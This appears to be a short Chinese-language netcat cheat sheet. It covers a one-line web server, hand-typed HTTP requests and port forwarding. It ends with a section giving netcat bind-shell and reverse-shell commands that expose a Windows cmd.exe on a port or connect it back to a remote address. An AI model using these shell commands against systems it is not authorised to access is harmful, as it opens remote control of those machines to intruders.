场景使用

Web服务器

while true; do nc -l localhost 80 < somepage.html; done

5、模拟HTTP请求

nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser

在nc命令后,输入内容,然后按两次回车,即可从对方获得HTTP Headers内容。

单一端口转发 A -> B -> C

双向必须使用中间件来施行,因为端口占用

A : nc -l 8888 B : nc localhost 8888 | nc -l 7777 C : nc localhost 7777

可能存在网络波动或者配置顺序问题,需要设置多次 只能是单向 因为 nc localhost 8888 | nc -l 7777 为管道单向使用

shell 使用

  • REMOTE主机绑定SHELL 例子: 格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

  • REMOTE主机绑定SHELL并反向连接 例子: 格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口